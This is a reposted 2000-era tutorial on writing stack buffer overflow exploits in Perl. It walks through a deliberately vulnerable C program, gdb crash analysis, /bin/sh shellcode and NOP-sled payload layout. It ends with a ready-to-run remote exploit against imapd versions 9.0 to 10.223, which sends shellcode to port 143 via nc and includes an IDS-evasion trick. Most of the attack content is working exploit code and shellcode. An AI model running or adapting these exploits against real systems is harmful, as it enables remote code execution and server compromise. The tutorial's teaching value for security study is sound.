Writing Buffer Overflow Exploits with Perl

来源:百度文库 编辑:神马文学网 时间:2024/03/29 23:55:10
Writing Buffer Overflow Exploits with Perl-- Writing Buffer Overflow Exploits with Perl - anno 2000 -- - http://teleh0r.cjb.net/==============================================================Table of Contents:~~~~~~~~~~~~~~~~~~~~[ 1. Introduction[ 2. Vulnerable Program Example[ 3. Shellcode[ 4. Designing the payload[ 5. Explained Example Exploit[ 6. Old Remote Imapd example exploit[ 7. Links & Resources-----------------------------------------------------------------------------Introduction:~~~~~~~~~~~~~~~This paper is for those who want a practical approach to writing buffer overflowexploits. As the title says, this text will teach you how to write these exploitsin Perl.If you want a more in-depth guide, please take a look at the links provided at theend of this paper, and read those instead.Vulnerable Program Example:~~~~~~~~~~~~~~~~~~~~~~~~~~~~~Ok, time for a example. I have written a small program which is exploitable to abuffer overflow. strcpy() does not check the length of $KIDVULN before it startsplacing its contents onto the stack, thus making the below program exploitable.-----------------------------------------------------------------------------++ vuln.c#include int main() {char kidbuffer[1024];if (getenv("KIDVULN") == NULL) {fprintf(stderr, "Grow up!\n");exit(1);}/* Read the environment variable data into the buffer */strcpy(kidbuffer, (char *)getenv("KIDVULN"));printf("Environment variable KIDVULN is:\n\"%s\".\n\n", kidbuffer);printf("Isn‘t life wonderful in kindergarten?\n");return 0;}++ end-----------------------------------------------------------------------------[root@localhost teleh0r]# gcc -o vuln vuln.cvuln.c: In function `main‘:vuln.c:5: warning: comparison between pointer and integer[root@localhost teleh0r]# export KIDVULN=`perl -e ‘{print "A"x"1028"}‘`[root@localhost teleh0r]# gdb vulnGNU gdb 19991004Copyright 1998 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-redhat-linux"...(gdb) rStarting program: /home/teleh0r/vulnEnvironment variable KIDVULN is:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIsn‘t life wonderful in kindergarten?Program received signal SIGSEGV, Segmentation fault.0x40032902 in __libc_start_main (main=Cannot access memory at address 0x41414149) at ../sysdeps/generic/libc-start.c:6161 ../sysdeps/generic/libc-start.c: No such file or directory.(gdb)-----------------------------------------------------------------------------Ok, here we can see that our buffer size wasn‘t big enough. Had it been, thenthe stack pointer would have been overwritten and the EIP register would havebeen 0x41414141. (41 == A in hex.)-----------------------------------------------------------------------------[root@localhost teleh0r]# export KIDVULN=`perl -e ‘{print "A"x"1032"}‘`[root@localhost teleh0r]# gdb vulnGNU gdb 19991004Copyright 1998 Free Software Foundation, Inc.GDB is free software, covered by the GNU General Public License, and you arewelcome to change it and/or distribute copies of it under certain conditions.Type "show copying" to see the conditions.There is absolutely no warranty for GDB. Type "show warranty" for details.This GDB was configured as "i386-redhat-linux"...(gdb) rStarting program: /home/teleh0r/vulnEnvironment variable KIDVULN is:"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIsn‘t life wonderful in kindergarten?Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb)-----------------------------------------------------------------------------Now, we have totally overwritten the old return adress. We now see that itholds 4 A‘s. So what does this mean? Well, we can controll where EIP points to,and therefore we can get EIP to point to our payload. If this is successful ourcode will get executed on the stack.(Some operative systems/patches may prevent code being executed on the stack).-----------------------------------------------------------------------------We now know the length we will use to completely overwrite the return address.Since ESP points to the top of the stack, we can use the value of ESP when theprogram died, and (if needed) add a offset to it.This is how you get the stack pointer value to use your exploit.Program received signal SIGSEGV, Segmentation fault.0x41414141 in ?? ()(gdb) info reg espesp 0xbffff770 -1073744064(gdb)-----------------------------------------------------------------------------Shellcode:~~~~~~~~~~~~If you want to learn how to write your own shellcode, please take a look at thelinks provided at the end of this paper. If you are lazy, and since you code inPerl, chances are high, you could use tools which will make the shellcode for you.Hellkit and execve-shell are good examples of such programs (great tools).(You will find these tools at: http://teso.scene.at/)[root@localhost execve-shell]# ./shellxp /bin/shbuild exploit shellcode-scut / teso.constructing shellcode...[ 39/2048] adding ( 7): /bin/shshellcode size: 47 bytes/* 47 byte shellcode */"\xeb\x1f\x5f\x89\xfc\x66\xf7\xd4\x31\xc0\x8a\x07""\x47\x57\xae\x75\xfd\x88\x67\xff\x48\x75\xf6\x5b""\x53\x50\x5a\x89\xe1\xb0\x0b\xcd\x80\xe8\xdc\xff""\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x01";-----------------------------------------------------------------------------Designing the payload:~~~~~~~~~~~~~~~~~~~~~~~~The payload will be stored in the $buffer scalar, with the data which will beused for the exploitation. It will have the length needed to completely overwritethe old return address. We will insert this code into the targeted program(user-input) in order to change its flow.The payload will in most cases look like this:N = NOP (0x90) / S = Shellcode / R = ESP (+ offset).Buffer: [ NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNSSSSSSSRRRRRRRRRRRRRR ]There are reasons why we construct the buffer this way. First we have a lot ofNOPs, then the shellcode (which in this example will execute /bin/sh), and at lastthe ESP + offset values.The EIP register will get loaded with the value pointed to by ESP. So if ESPpoints to anywhere inside the NOPs, the NOPs will do "no operations", andcontinue to do nothing until the processor reaches the shellcode and thenexecutes it. (See the figure below)_______________________________________________<---- |[ NNNNNNNNNNNNNNNNNNNNNNNNNNN-SHELLCODE-RRRRRRR ]| <----\_________________________/ ----> # ^^ ||________________________________|If the buffer we were trying to overflow had been too small to add a decentamount of NOP‘s, the shellcode and RET‘s, the below layout could have beenused when constructing the payload. (We could have added the NOP‘s and shellcodeinto a shell-variable as well)(R = Stack Pointer + Offset / S = Shellcode / N = x86 NOP)/ ESP + offset / NOP‘s / ShellcodePayload: [ RRRRRRRRRRRRRRRNNNNNNNNNNNNNNNNNNSSSSSS ]| | ----------> #----------(Note: The buffer cannot contain any NULL bytes!)-----------------------------------------------------------------------------Explained Example Exploit:~~~~~~~~~~~~~~~~~~~~~~~~~~~~#!/usr/bin/perl$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"."\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"."\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"."\xff\xff/bin/sh";$len = 1024 + 8; # The length needed to own EIP.$ret = 0xbffff770; # The stack pointer at crash time.$nop = "\x90"; # x86 NOP$offset = -1000; # Default offset to try.if (@ARGV == 1) {$offset = $ARGV[0];}for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {$buffer .= $nop;}# [ Buffer: NNNNNNNNNNNNNN ]# Add a lot of x86 NOP‘s to the buffer scalar. (885 NOP‘s)$buffer .= $shellcode;# [ Buffer: NNNNNNNNNNNNNNSSSSS ]# Then we add the shellcode to the buffer. We made room for the shellcode# above.print("Address: 0x", sprintf(‘%lx‘,($ret + $offset)), "\n");# Here we add the offset to the stack pointer value - convert it to hex,# and then print it out.$new_ret = pack(‘l‘, ($ret + $offset));# pack is a function which will take a list of values and pack it into a# binary structure, and then return that string containing the structure.# So, pack the stack pointer / ESP + offset into a signed long - (4 bytes).for ($i += length($shellcode); $i < $len; $i += 4) {$buffer .= $new_ret;}# [ Buffer: NNNNNNNNNNNNNNNNSSSSSRRRRRR ]# Here we add the length of the shellcode to the scalar $i, which after the# first for loop had finished held the value "885" (bytes), then the for loop# adds the $new_ret scalar until $buffer has the size of 1032 bytes.## Could also have been written as this:## until (length($buffer) == $len) {# $buffer .= $new_ret;#}local($ENV{‘KIDVULN‘}) = $buffer; exec("/bin/vuln");# Copy it into the shell variable KIDVULN, and execute vuln.-----------------------------------------------------------------------------#!/usr/bin/perl## *** Successfully tested on IMAP4rev1 v10.190## Written by: teleh0r@doglover.com / anno 2000#### This is nothing new - written just for fun.## Vulnerable: imapd versions 9.0 > 10.223 / CA.# Shellcode stolen from imapx.c / The Tekneeq Crew$shellcode ="\xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80"."\x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89"."\xf0\x89\x46\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"."\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"."\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xc6\xff\xff\xff"."\x2f\x32\x39\x3e\x2f\x43\x38";$len = 1052; # Sufficient to overwrite the return value.$nop = A; # Using A (0x41) ‘as‘ NOP‘s to try to fool IDS.$ret = 0xbffff30f; # Return Value / ESP / Stack Pointer.if (@ARGV < 2) {print("Usage: $0 \n");exit(1);}($target, $offset) = @ARGV;for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {$buffer .= $nop;}$buffer .= $shellcode;$new_ret = pack(‘l‘, ($ret + $offset));$address = sprintf(‘%lx‘, ($ret + $offset));print("Address: 0x$address / Offset: $offset / Length: $len\n\n");sleep(1);for ($i += length($shellcode); $i < $len; $i += 4) {$buffer .= $new_ret;}$exploit_string = "* AUTHENTICATE {$len}\015\012$buffer\012";system("(echo -e \"$exploit_string\" ; cat) | nc $target 143");-----------------------------------------------------------------------------Links & Resources:~~~~~~~~~~~~~~~~~~~~Smashing The Stack For Fun And Profit by Aleph Onehttp://phrack.infonexus.com/search.phtml?view&article=p49-14Writing buffer overflow exploits - a tutorial for beginners.http://mixter.warrior2k.com/exploit.txt / Written by Mixter.TESO Security Group / http://teso.scene.at/